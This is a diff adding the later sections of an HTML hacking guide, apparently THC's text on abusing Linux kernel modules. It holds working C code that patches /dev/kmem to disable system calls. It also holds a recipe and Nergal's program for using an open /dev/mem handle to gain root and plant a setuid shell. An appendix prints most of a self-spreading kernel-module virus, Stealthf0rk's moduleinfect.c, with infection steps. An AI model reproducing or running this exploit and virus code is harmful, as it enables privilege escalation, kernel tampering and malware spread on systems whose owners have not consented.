|
|
|
+ }
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Nothing special about this little program. It's just like searching a certain
|
|
|
+pattern in a file and changing some fields. There are lots of programs out
|
|
|
+there which are doing stuff like that. As you can see the example above won't
|
|
|
+help you attacking a system, it's just for demonstration (but there mayby some
|
|
|
+poor systems allowing users to write to /dev/kmem, I don't know).<br>
|
|
|
+The same way you can change the module structures responsible for holding the
|
|
|
+kernel's module information. This way you can also hide a module, just by
|
|
|
+patching kmem; I don't present an implementation of this, because it is basicly
|
|
|
+the same as the program above (ok, the searching is a bit harder ;)).<br>
|
|
|
+The way above we modified a kernel structure. There are some programs doing
|
|
|
+things like that. But what about functions ? Well seach the internet and you
|
|
|
+will soon recognize that there are not so many programs doing things like that.
|
|
|
+Well, of course patching a kernel function (we will do more useful things later)
|
|
|
+is a bit tricky. The best way would be to play with the sys_call_table structure
|
|
|
+which will point to a completely new function made by us. Otherwise there would
|
|
|
+be some problems concerning function size and so on. The following example is
|
|
|
+just a very easy program making every systemcall doing nothing. I just insert
|
|
|
+a RET(0xc3)at the beginning of the function address that I get from /proc/ksyms.
|
|
|
+This way the function will return immediately doing nothing.<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*again no error checking*/
|
|
|
+#include <stdio.h>
|
|
|
+#include <stdlib.h>
|
|
|
+#include <unistd.h>
|
|
|
+#include <fcntl.h>
|
|
|
+
|
|
|
+/*just our RET opcode*/
|
|
|
+unsigned char asmcode[]={0xc3};
|
|
|
+
|
|
|
+int main(int argc, char *argv[])
|
|
|
+{
|
|
|
+ unsigned long counter;
|
|
|
+ int kmemh;
|
|
|
+
|
|
|
+ /*open device*/
|
|
|
+ kmemh = open("/dev/kmem", O_RDWR);
|
|
|
+
|
|
|
+ /*seek to memory address where the function starts*/
|
|
|
+ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
|
|
|
+
|
|
|
+ /*write our patch byte*/
|
|
|
+ write(kmemh, &asmcode, 1):
|
|
|
+
|
|
|
+ close(kmemh);
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Let's summarize what we know so far : We can modify any kernel symbol; this
|
|
|
+includes things like sys_call_table[] and any other function or structure.<br>
|
|
|
+Remember that every kernel patching can only be done if we can access /dev/kmem
|
|
|
+but there are also ways how to protect this file. Take a look at III.5.5.
|
|
|
+
|
|
|
+<H4><A NAME="IV.2.1."></A>2.1 How to find kernel symbols in /dev/kmem</h4>
|
|
|
+
|
|
|
+After the basic examples above you could ask how to modify <i>any</i> kernel symbol
|
|
|
+and how to find interesting ones. In the example above we used /proc/ksyms to
|
|
|
+get the address we need to modify a symbol. But what do we have on systems
|
|
|
+with no lkm support build into their kernel, there won't be a /proc/ksyms file,
|
|
|
+because it is only used for module management (public / available symbols)?
|
|
|
+And what about kernel symbols that are not exported, how can we modify them ?<br>
|
|
|
+Many questions, so let's find some solutions. Silvio Cesare discussed some
|
|
|
+ways finding different kernel symbols (public & non-public ones). He outlines
|
|
|
+that while compiling the linux kernel a file called 'System.map' is created
|
|
|
+which maps every kernel symbol to a fixed address. This file is only needed
|
|
|
+during compilation for resolving those kernel symbols. The running systems has
|
|
|
+no need for that file.The addresses used for compilation are the same we can use
|
|
|
+to seek /dev/kmem. So the general approach would be :
|
|
|
+<ul>
|
|
|
+<li>lookup System.map for the needed kernel symbol <br>
|
|
|
+<li>take the address we found <br>
|
|
|
+<li>modify the kernel symbol (structure, function, or whatever)<br>
|
|
|
+</ul>
|
|
|
+Sounds quite easy. But there is one big problem. Every system which does not
|
|
|
+use exactly <i>our</i> kernel will have other addresses for their kernel symbols.<br>
|
|
|
+And on most systems you won't find a helpful System.map file telling us every
|
|
|
+address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take
|
|
|
+your kernel, read the first 10 bytes (just a random value) of a symbol address
|
|
|
+and take them as a key for searching the same symbol in another kernel.<br>
|
|
|
+If you cannot build a generic key for a certain symbol you may try to find some
|
|
|
+relations from this symbol to other kernel symbols you can create generic keys
|
|
|
+for. Finding relations can be done by looking up the kernel sources; this way
|
|
|
+you can also find interesting kernel symbols you could modify (patch).<br>
|
|
|
+
|
|
|
+<H4><A NAME="IV.2.2."></A>2.2 The new 'insmod' working without kernel support </h4>
|
|
|
+
|
|
|
+Now it's time to go back to our LKM hacking. This section will give you some
|
|
|
+hints concerning Silvio Cesare's kinsmod program. I will only outline the
|
|
|
+general working. The most complicated part of the program is the objectcode
|
|
|
+handling (elf file) and its kernel space mapping. But this is only a problem
|
|
|
+of the elf header processing nothing kernel specific. Silvio Cesare used elf
|
|
|
+files because this way you can insert [normal] LKMs. It would also be possible
|
|
|
+to write a file (just opcodes -> see me RET example) and inserting this file
|
|
|
+which would be harder to could but essier to map. For those who really want to
|
|
|
+understand the elf file handling I added Silvio Cesare's file to this text (I've
|
|
|
+also done it because Silvio Cesare wants his sources / ideas only be distributed
|
|
|
+within the whole file).<br>
|
|
|
+Now it's time to look at the general ideas of inserting LKMs on a system without
|
|
|
+support for that feature.<br>
|
|
|
+The first problem we are faced to if we want to insert code (a LKM or whatever)
|
|
|
+into the kernel is the need for memory. We can't take a random address and write
|
|
|
+our objectcode to /dev/kmem. So where can we put our code in a way it does not
|
|
|
+hurt the running system and will not be removed due to some memory operation in
|
|
|
+kernel space. There's one place where we can insert a bit of code, take a look
|
|
|
+at the following figure showing the general kernel memory :
|
|
|
+<xmp>
|
|
|
+ kernel data
|
|
|
+ ...
|
|
|
+ kmalloc pool
|
|
|
+</xmp>
|
|
|
+The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)).
|
|
|
+We cannot put our code into this pool because we cannot be sure that the address
|
|
|
+space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool
|
|
|
+borders in memory are saved in memory_start and memory_end which are exported
|
|
|
+by the kernel (see /proc/ksyms). The interesting point about this is that the
|
|
|
+start address (memory_start) is <i>not</i> exactly the kmalloc pool start adress,
|
|
|
+because this address is aligned to the next page border of memory_start.So there
|
|
|
+is a bit of memory which will never be used (between memory_start and the real
|
|
|
+start of the kmalloc pool). This is the best place to insert our code. Ok this
|
|
|
+is not the whole story, you may recognize that no useful LKM will fit into this
|
|
|
+little buffer. Silvio Cesare used some bootstrap code he put into this little
|
|
|
+buffer; this code loads the actual LKM. This way we can load LKMs on systems
|
|
|
+without support for this. Please read Silvio Cesare's paper for a in-depth
|
|
|
+discussion on actually mapping a LKM file (elf format) into the kernel; this
|
|
|
+is a bit difficult.
|
|
|
+
|
|
|
+<H3><A NAME="IV.3."></A>3. Last words</h3>
|
|
|
+
|
|
|
+Section 2 was nice, but what about systems which do not permit access to kmem?
|
|
|
+Well a last way would be inserting/modifying kernel space with the help of some
|
|
|
+kernel bugs. There are always some buffer overflows and other problems in kernel
|
|
|
+space. Also consider checking modules for some bugs. Just take a look at the many
|
|
|
+source files of the kernel. Even user space programs can help us to modify the
|
|
|
+kernel.<br>
|
|
|
+Bear in mind, that some weeks months ago a bug concerning svgalib was found. Every program
|
|
|
+using svgalib gets a handle with write permissions to /dev/mem. /dev/mem can also
|
|
|
+be used for RKP with the same adresses as /dev/kmem. So look at the following
|
|
|
+list, to get some ideas how to do RKP on very secure systems :
|
|
|
+<ul>
|
|
|
+<li>find a program that uses svgalib<br>
|
|
|
+<li>check the source of that program for common buffer overflows (should be not
|
|
|
+too hard)
|
|
|
+<li>write an exploit which starts a program using the open /dev/mem write handle
|
|
|
+to manipulate the appropriate task structure to make your process UID 0
|
|
|
+<li>create a root shell
|
|
|
+</ul>
|
|
|
+This generic scheme works very fine (zgv, gnuplot or some know examples). For
|
|
|
+patching the task structure some people use the following program (which uses
|
|
|
+the open write handle) by Nergal :
|
|
|
+<XMP>
|
|
|
+/* by Nergal */
|
|
|
+#define SEEK_SET 0
|
|
|
+
|
|
|
+#define __KERNEL__
|
|
|
+#include <linux/sched.h>
|
|
|
+#undef __KERNEL__
|
|
|
+
|
|
|
+#define SIZEOF sizeof(struct task_struct)
|
|
|
+
|
|
|
+int mem_fd;
|
|
|
+int mypid;
|
|
|
+
|
|
|
+void
|
|
|
+testtask (unsigned int mem_offset)
|
|
|
+{
|
|
|
+ struct task_struct some_task;
|
|
|
+ int uid, pid;
|
|
|
+ lseek (mem_fd, mem_offset, SEEK_SET);
|
|
|
+ read (mem_fd, &some_task, SIZEOF);
|
|
|
+ if (some_task.pid == mypid) /* is it our task_struct ? */
|
|
|
+ {
|
|
|
+ some_task.euid = 0;
|
|
|
+ some_task.fsuid = 0; /* needed for chown */
|
|
|
+ lseek (mem_fd, mem_offset, SEEK_SET);
|
|
|
+ write (mem_fd, &some_task, SIZEOF);
|
|
|
+ /* from now on, there is no law beyond do what thou wilt */
|
|
|
+ chown ("/tmp/sh", 0, 0);
|
|
|
+ chmod ("/tmp/sh", 04755);
|
|
|
+ exit (0);
|
|
|
+ }
|
|
|
+}
|
|
|
+#define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */
|
|
|
+main () /* by doing strings /proc/ksyms |grep kstat */
|
|
|
+{
|
|
|
+ unsigned int i;
|
|
|
+ struct task_struct *task[NR_TASKS];
|
|
|
+ unsigned int task_addr = KSTAT - NR_TASKS * 4;
|
|
|
+ mem_fd = 3; /* presumed to be opened /dev/mem */
|
|
|
+ mypid = getpid ();
|
|
|
+ lseek (mem_fd, task_addr, SEEK_SET);
|
|
|
+ read (mem_fd, task, NR_TASKS * 4);
|
|
|
+ for (i = 0; i < NR_TASKS; i++)
|
|
|
+ if (task[i])
|
|
|
+ testtask ((unsigned int)(task[i]));
|
|
|
+
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+This was just an example to show you that there is always one way, you only have
|
|
|
+to find it. Systems with stack execution patches, you could look for heap
|
|
|
+overflows or just jump into some library functions (system(...)). There are thousand
|
|
|
+ways...<br>
|
|
|
+I hope this last section gave you some ideas how to proceed.
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>V. The near future : Kernel 2.2.x</H2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+
|
|
|
+<H3><A NAME="V.1."></A>1. Main Difference for LKM writer's</h3>
|
|
|
+
|
|
|
+Linux has a new Kernel major Version 2.2 which brings some little changes to LKM
|
|
|
+coding. This part will help you to make the change, and outline the biggest
|
|
|
+changes. [Note : There will be another release concentrating on the new kernel]<br>
|
|
|
+I will show you some new macros / functions which will help you to develope
|
|
|
+LKMs for Kernel 2.2. For an exact listing of every change take a look at the
|
|
|
+new Linux/module.h include file, which was totally rewritten for Kernel 2.1.18.
|
|
|
+First we will look at some macros which will help us to handle the System Table
|
|
|
+in an easier way :
|
|
|
+
|
|
|
+
|
|
|
+<TABLE border=5 width=100%>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<th>macro</th>
|
|
|
+<th>description</th>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>EXPORT_NO_SYMBOLS;</td>
|
|
|
+<td>this one is equal to register_symtab(NULL) for older kernel versions</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>EXPORT_SYMTAB;</td>
|
|
|
+<td>this one must be defined before linux/module.h if you want to export some symbols</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>EXPORT_SYMBOL(name);</td>
|
|
|
+<td>export the symbol named 'name'</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>EXPORT_SYMBOL_NOVERS
|
|
|
+ (name);</td>
|
|
|
+<td>export without version information</td>
|
|
|
+</tr>
|
|
|
+</table>
|
|
|
+
|
|
|
+The user space access functions were also changed a bit, so I will list them
|
|
|
+here (just include asm/uaccess.h to use them) :
|
|
|
+
|
|
|
+
|
|
|
+<TABLE border=5 width=100%>
|
|
|
+<tr>
|
|
|
+
|
|
|
+<th>function</th>
|
|
|
+<th>description</th>
|
|
|
+
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>int access_ok
|
|
|
+(int type, unsigned long
|
|
|
+addr, unsigned long size);</td>
|
|
|
+<td>this function checks whether the current process is allowed to access addr</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>unsigned long
|
|
|
+copy_from_user
|
|
|
+(unsigned long to,
|
|
|
+unsigned long from,
|
|
|
+unsigned long len);</td>
|
|
|
+<td>this is the 'new' memcpy_tofs function</td>
|
|
|
+</tr>
|
|
|
+
|
|
|
+<tr>
|
|
|
+<td>unsigned long
|
|
|
+copy_to_user
|
|
|
+(unsigned long to,
|
|
|
+unsigned long from,
|
|
|
+unsigned long len);</td>
|
|
|
+<td>this is the counterpart of copy_from_user(...)</td>
|
|
|
+</tr>
|
|
|
+</table>
|
|
|
+
|
|
|
+You don't need to use access_ok(...) because the function listed above check
|
|
|
+this themselves.
|
|
|
+There are many more differences, but you should really take a look at linux/module.h
|
|
|
+for a detailed listing.<br>
|
|
|
+I want to mention one last thing. I wrote lots of stuff on the kerneldaemon
|
|
|
+(kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of
|
|
|
+implementing the request_module(...) kernel space function - it's called <i>kmod</i>.
|
|
|
+kmod totally runs in kernel space (no IPC to user space any more). For LKM
|
|
|
+programmers nothing changes, you can still use the request_module(...) for
|
|
|
+loading modules. So the LKM infectors could use this also on kernel 2.2 systems.<br>
|
|
|
+I'm sorry about this little kernel 2.2 section, but at the moment I am working
|
|
|
+on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch
|
|
|
+out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD,
|
|
|
+for example) but this will take some months.
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>VI. Last Words</h2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+
|
|
|
+<H3><A NAME="VI.1."></A>1. The 'LKM story' or 'how to make a system plug & hack compatible'</h3>
|
|
|
+
|
|
|
+You may wounder how insecure LKMs are and why they are used in such an insecure
|
|
|
+ways. Well LKMs are designed to make life easier especially for users.Linux fights
|
|
|
+agains Microsoft, so developers need a way to make the old unix style a bit more
|
|
|
+attractive and easier. They implement things like KDE and other nice things.
|
|
|
+Kerneld, for example, was developed in order to make module handling easier.
|
|
|
+But remember, the easier and more automated a system is the more problems
|
|
|
+concerning security are possible. It is <i>impossible</i> to make a system usable by
|
|
|
+everyone and being secure enough. Modules are a great example for this.<br>
|
|
|
+Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good
|
|
|
+idea, with a cruel securiy design for keeping everything simple.<br>
|
|
|
+So dear Linux developers : Be careful, and don't make the fault Microsoft made,
|
|
|
+don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !<br>
|
|
|
+This text should also make clear that the kernel of any system must be protected
|
|
|
+in the best way available.It must be impossible for attackers to modify the most
|
|
|
+important item of your whole system. I leave this task to all system designers
|
|
|
+out there :).
|
|
|
+
|
|
|
+<H3><A NAME="VI.2."></A>2. Links to other Resources</h3>
|
|
|
+
|
|
|
+Here are some interesting links about LKMs (not only hack & securiy related):<br>
|
|
|
+
|
|
|
+<b>[Internet]</b><br>
|
|
|
+
|
|
|
+<A HREF="http://www.linuxhq.com">http://www.linuxhq.com</A><br>
|
|
|
+everything on Linux + nice kernel links<br>
|
|
|
+<A HREF="http://www.linuxlinks.com">http://www.linuxlinks.com</a><br>
|
|
|
+lots of links concerning Linux<br>
|
|
|
+<A HREF="http://www.linux.org">http://www.linux.org</a><br>
|
|
|
+'propaganda' page for Linux<br>
|
|
|
+<A HREF="http://www.lwn.net">http://www.lwn.net</a><br>
|
|
|
+weekly Linux news; very interesting there are also kernel / securiy sections<br>
|
|
|
+<A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
|
|
|
+read issue 50 & 52 for interesting module information<br>
|
|
|
+<A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
|
|
|
+they have some nice LKMs<br>
|
|
|
+<A HREF="http://www.geek-girl.com/bugtraq/">http://www.geek-girl.com/bugtraq/</a><br>
|
|
|
+there were some discussions on LKM security<br>
|
|
|
+<A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
|
|
|
+HISPAHACK homepage<br>
|
|
|
+<A HREF="http://www.thc.org">http://www.thc.org</a><br>
|
|
|
+THC homepage (articles, magazines and lots of tools)<br>
|
|
|
+<A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
|
|
|
+one of the best security / hacking related search engines I know<br>
|
|
|
+<A HREF="http://www.kernel.org">http://www.kernel.org</a><br>
|
|
|
+get the kernel and study it !<br>
|
|
|
+<p>
|
|
|
+<b>[Books]</b><br>
|
|
|
+
|
|
|
+Linux-Kernel-Programming (Addison Wesley) <br>
|
|
|
+A very good book. I read the german version but I think there is also an english
|
|
|
+version.
|
|
|
+<p>
|
|
|
+Linux Device Drivers (O'Reilly)<br>
|
|
|
+A bit off topic, but also very interesting. The focus is more on writing LKMs
|
|
|
+as device drivers.
|
|
|
+
|
|
|
+<H3><A NAME="Acknowledgements"></A>Acknowledgements</h3>
|
|
|
+
|
|
|
+<p>
|
|
|
+<u><b>Thanks for sources / ideas fly to :</u></b>
|
|
|
+<p>
|
|
|
+plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,
|
|
|
+Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,
|
|
|
+daemon9, Nergal, van Hauser (especially for showing me some bugs) and those
|
|
|
+nameless individuals providing us with their ideas (there are so many) !
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="Greets"></A>Greets </h3>
|
|
|
+
|
|
|
+<u>groups</u> : THC, deep, ech0, ADM, =phake=<br>
|
|
|
+<p>
|
|
|
+<u>personal</u> :
|
|
|
+<dd>van Hauser - thanks for giving me the chance to learn </dd>
|
|
|
+<dd>mindmaniac - thanks for introducing 'the first contact'</dd>
|
|
|
+
|
|
|
+
|
|
|
+<p>
|
|
|
+<p>
|
|
|
+background music groups (helping me to concentrate on writing :):<br>
|
|
|
+<i>Neuroactive, Image Transmission, Panic on the Titanic, Dracul</i>
|
|
|
+
|
|
|
+<P><P><P><P>
|
|
|
+<HR SIZE="3" NOSHADE="NOSHADE">
|
|
|
+<P>
|
|
|
+<HR SIZE="3" NOSHADE="NOSHADE">
|
|
|
+<P><P><P><P>
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>A - Appendix</h2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+
|
|
|
+
|
|
|
+Here you will find some sources.If the author of the LKM also published some
|
|
|
+notes / texts which are interesting, they will also be printed.<br>
|
|
|
+
|
|
|
+<H3><A NAME="A-a"></A>LKM Infector</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : moduleinfect.c<br>
|
|
|
+<b>AUTHOR</b> : <A HREF="mailto:stealth@cyberspace.org">Stealthf0rk/SVAT <stealth@cyberspace.org></a><br>
|
|
|
+<b>DESCRIPTION</b> : This is the first published LKM infector which was discussed
|
|
|
+ II.8. This LKM has no destruction routine, it's just an
|
|
|
+ infector, so experimenting should be quite harmless.<br>
|
|
|
+<b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/* SVAT - Special Virii And Trojans - present:
|
|
|
+ *
|
|
|
+ * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
|
|
|
+ *
|
|
|
+ * 0kay guys, here we go...
|
|
|
+ * As i told you with VLP I (we try to write an fast-infector)
|
|
|
+ * here's the result:
|
|
|
+ * a full, non-overwriting module infector that catches
|
|
|
+ * lkm's due to create_module() and infects them (max. 7)
|
|
|
+ * if someone calls delete_module() [even on autoclean].
|
|
|
+ * Linux is not longer a virii-secure system :(
|
|
|
+ * and BSD follows next week ...
|
|
|
+ * Since it is not needed 2 get root (by the module) you should pay
|
|
|
+ * attention on liane.
|
|
|
+ * Note the asm code in function init_module().
|
|
|
+ * U should assemble your /usr/src/.../module.c with -S and your CFLAG
|
|
|
+ * from your Makefile and look for the returnvalue from the first call
|
|
|
+ * of find_module() in sys_init_module(). look where its stored (%ebp for me)
|
|
|
+ * and change it in __asm__ init_module()! (but may it is not needed)
|
|
|
+ *
|
|
|
+ * For education only!
|
|
|
+ * Run it only with permisson of the owner of the system you are logged on!!!
|
|
|
+ *
|
|
|
+ * !!! YOU USE THIS AT YOUR OWN RISK !!!
|
|
|
+ *
|
|
|
+ * I'm not responsible for any damage you may get due to playing around with this.
|
|
|
+ *
|
|
|
+ * okay guys, you have to find out some steps without my help:
|
|
|
+ *
|
|
|
+ * 1. $ cc -c -O2 module.c
|
|
|
+ * 2. get length of module.o and patch the #define MODLEN in module.c
|
|
|
+ * 3. $ ???
|
|
|
+ * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
|
|
|
+ * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
|
|
|
+ * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
|
|
|
+ * 6. $ insmod ???
|
|
|
+ *
|
|
|
+ * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
|
|
|
+ * kernel 2.0.33. It works.
|
|
|
+ *
|
|
|
+ * greets (in no order...)
|
|
|
+ * <><><><><><><><><><><><>
|
|
|
+ *
|
|
|
+ * NetW0rker - tkx for da sources
|
|
|
+ * Serialkiller - gib mir mal deine eMail-addy
|
|
|
+ * hyperSlash - 1st SVAT member, he ?
|
|
|
+ * naleZ - hehehe
|
|
|
+ * MadMan - NetW0rker wanted me to greet u !?
|
|
|
+ * KilJaeden - TurboDebugger and SoftIce are a good choice !
|
|
|
+ *
|
|
|
+ * and all de otherz
|
|
|
+ *
|
|
|
+ * Stealthf0rk/SVAT <stealth@cyberspace.org>
|
|
|
+ */
|
|
|
+
|
|
|
+#define __KERNEL__
|
|
|
+#define MODULE
|
|
|
+#define MODLEN 7104
|
|
|
+#define ENOUGH 7
|
|
|
+#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
|
|
|
+#define END_KMEM set_fs(old_fs);}
|
|
|
+
|
|
|
+
|
|
|
+/* i'm not sure we need all of 'em ...*/
|
|
|
+
|
|
|
+#include <linux/version.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <asm/string.h>
|
|
|
+#include <linux/fcntl.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <linux/kerneld.h>
|
|
|
+
|
|
|
+#define __NR_our_syscall 211
|
|
|
+#define MAXPATH 30
|
|
|
+/*#define DEBUG*/
|
|
|
+#ifdef DEBUG
|
|
|
+ #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
|
|
|
+#else
|
|
|
+ #define DPRINTK(format, args...)
|
|
|
+#endif
|
|
|
+
|
|
|
+/* where the sys_calls are */
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
|
|
|
+ * if you change the default_path[] values
|
|
|
+ */
|
|
|
+
|
|
|
+static char *default_path[] = {
|
|
|
+ ".", "/linux/modules",
|
|
|
+ "/lib/modules/2.0.33/fs",
|
|
|
+ "/lib/modules/2.0.33/net",
|
|
|
+ "/lib/modules/2.0.33/scsi",
|
|
|
+ "/lib/modules/2.0.33/block",
|
|
|
+ "/lib/modules/2.0.33/cdrom",
|
|
|
+ "/lib/modules/2.0.33/ipv4",
|
|
|
+ "/lib/modules/2.0.33/misc",
|
|
|
+ "/lib/modules/default/fs",
|
|
|
+ "/lib/modules/default/net",
|
|
|
+ "/lib/modules/default/scsi",
|
|
|
+ "/lib/modules/default/block",
|
|
|
+ "/lib/modules/default/cdrom",
|
|
|
+ "/lib/modules/default/ipv4",
|
|
|
+ "/lib/modules/default/misc",
|
|
|
+ "/lib/modules/fs",
|
|
|
+ "/lib/modules/net",
|
|
|
+ "/lib/modules/scsi",
|
|
|
+ "/lib/modules/block",
|
|
|
+ "/lib/modules/cdrom",
|
|
|
+ "/lib/modules/ipv4",
|
|
|
+ "/lib/modules/misc",
|
|
|
+ 0
|
|
|
+};
|
|
|
+
|
|
|
+static struct symbol_table my_symtab = {
|
|
|
+ #include <linux/symtab_begin.h>
|
|
|
+ X(printk),
|
|
|
+ X(vmalloc),
|
|
|
+ X(vfree),
|
|
|
+ X(kerneld_send),
|
|
|
+ X(current_set),
|
|
|
+ X(sys_call_table),
|
|
|
+ X(register_symtab_from),
|
|
|
+ #include <linux/symtab_end.h>
|
|
|
+};
|
|
|
+
|
|
|
+char files2infect[7][60 + 2];
|
|
|
+
|
|
|
+/* const char kernel_version[] = UTS_RELEASE; */
|
|
|
+
|
|
|
+int (*old_create_module)(char*, int);
|
|
|
+int (*old_delete_module)(char *);
|
|
|
+int (*open)(char *, int, int);
|
|
|
+int (*close)(int);
|
|
|
+int (*unlink)(char*);
|
|
|
+
|
|
|
+int our_syscall(int);
|
|
|
+int infectfile(char *);
|
|
|
+int is_infected(char *);
|
|
|
+int cp(struct file*, struct file*);
|
|
|
+int writeVir(char *, char *);
|
|
|
+int init_module2(struct module*);
|
|
|
+char *get_mod_name(char*);
|
|
|
+
|
|
|
+/* needed to be global */
|
|
|
+
|
|
|
+void *VirCode = NULL;
|
|
|
+
|
|
|
+/* install new syscall to see if we are already in kmem */
|
|
|
+int our_syscall(int mn)
|
|
|
+{
|
|
|
+ /* magic number: 40hex :-) */
|
|
|
+ if (mn == 0x40)
|
|
|
+ return 0;
|
|
|
+ else
|
|
|
+ return -ENOSYS;
|
|
|
+}
|
|
|
+
|
|
|
+int new_create_module(char *name, int size)
|
|
|
+{
|
|
|
+ int i = 0, j = 0, retval = 0;
|
|
|
+
|
|
|
+ if ((retval = old_create_module(name, size)) < 0)
|
|
|
+ return retval;
|
|
|
+ /* find next free place */
|
|
|
+ for (i = 0; files2infect[i][0] && i < 7; i++);
|
|
|
+ if (i == 6)
|
|
|
+ return retval;
|
|
|
+ /* get name of mod from user-space */
|
|
|
+ while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
|
|
|
+ j++;
|
|
|
+ DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
|
|
|
+ return retval;
|
|
|
+}
|
|
|
+
|
|
|
+/* we infect modules after sys_delete_module, to be sure
|
|
|
+ * we don't confuse the kernel
|
|
|
+ */
|
|
|
+
|
|
|
+int new_delete_module(char *modname)
|
|
|
+{
|
|
|
+ static int infected = 0;
|
|
|
+ int retval = 0, i = 0;
|
|
|
+ char *s = NULL, *name = NULL;
|
|
|
+
|
|
|
+
|
|
|
+ retval = old_delete_module(modname);
|
|
|
+
|
|
|
+ if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
|
|
|
+ return retval;
|
|
|
+
|
|
|
+ for (i = 0; files2infect[i][0] && i < 7; i++) {
|
|
|
+ strcat(files2infect[i], ".o");
|
|
|
+ if ((s = get_mod_name(files2infect[i])) == NULL) {
|
|
|
+ return retval;
|
|
|
+ }
|
|
|
+ name = strcpy(name, s);
|
|
|
+ if (!is_infected(name)) {
|
|
|
+ DPRINTK("try 2 infect %s as #%d\n", name, i);
|
|
|
+ infected++;
|
|
|
+ infectfile(name);
|
|
|
+ }
|
|
|
+ memset(files2infect[i], 0, 60 + 2);
|
|
|
+ } /* for */
|
|
|
+ /* its enough */
|
|
|
+ if (infected >= ENOUGH)
|
|
|
+ cleanup_module();
|
|
|
+ vfree(name);
|
|
|
+ return retval;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/* lets take a look at sys_init_module(), that calls
|
|
|
+ * our init_module() compiled with
|
|
|
+ * CFLAG = ... -O2 -fomit-frame-pointer
|
|
|
+ * in C:
|
|
|
+ * ...
|
|
|
+ * if((mp = find_module(name)) == NULL)
|
|
|
+ * ...
|
|
|
+ *
|
|
|
+ * is in asm:
|
|
|
+ * ...
|
|
|
+ * call find_module
|
|
|
+ * movl %eax, %ebp
|
|
|
+ * ...
|
|
|
+ * note that there is no normal stack frame !!!
|
|
|
+ * thats the reason, why we find 'mp' (return from find_module) in %ebp
|
|
|
+ * BUT only when compiled with the fomit-frame-pointer option !!!
|
|
|
+ * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
|
|
|
+ * you should find mp at -4(%ebp) .
|
|
|
+ * thiz is very bad hijacking of local vars and an own topic.
|
|
|
+ * I hope you do not get an seg. fault.
|
|
|
+ */
|
|
|
+
|
|
|
+__asm__
|
|
|
+("
|
|
|
+
|
|
|
+.align 16
|
|
|
+.globl init_module
|
|
|
+ .type init_module,@function
|
|
|
+
|
|
|
+init_module:
|
|
|
+ pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
|
|
|
+ /* and the parameter for init_module2() */
|
|
|
+ call init_module2
|
|
|
+ popl %eax
|
|
|
+ xorl %eax, %eax /* all good */
|
|
|
+ ret /* and return */
|
|
|
+.hype27:
|
|
|
+ .size init_module,.hype27-init_module
|
|
|
+");
|
|
|
+
|
|
|
+ /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
|
|
|
+ *
|
|
|
+ * pushl %ebx
|
|
|
+ * movl %ebp, %ebx
|
|
|
+ * pushl -4(%ebx)
|
|
|
+ * call init_module2
|
|
|
+ * addl $4, %esp
|
|
|
+ * xorl %eax, %eax
|
|
|
+ * popl %ebx
|
|
|
+ * ret
|
|
|
+ */
|
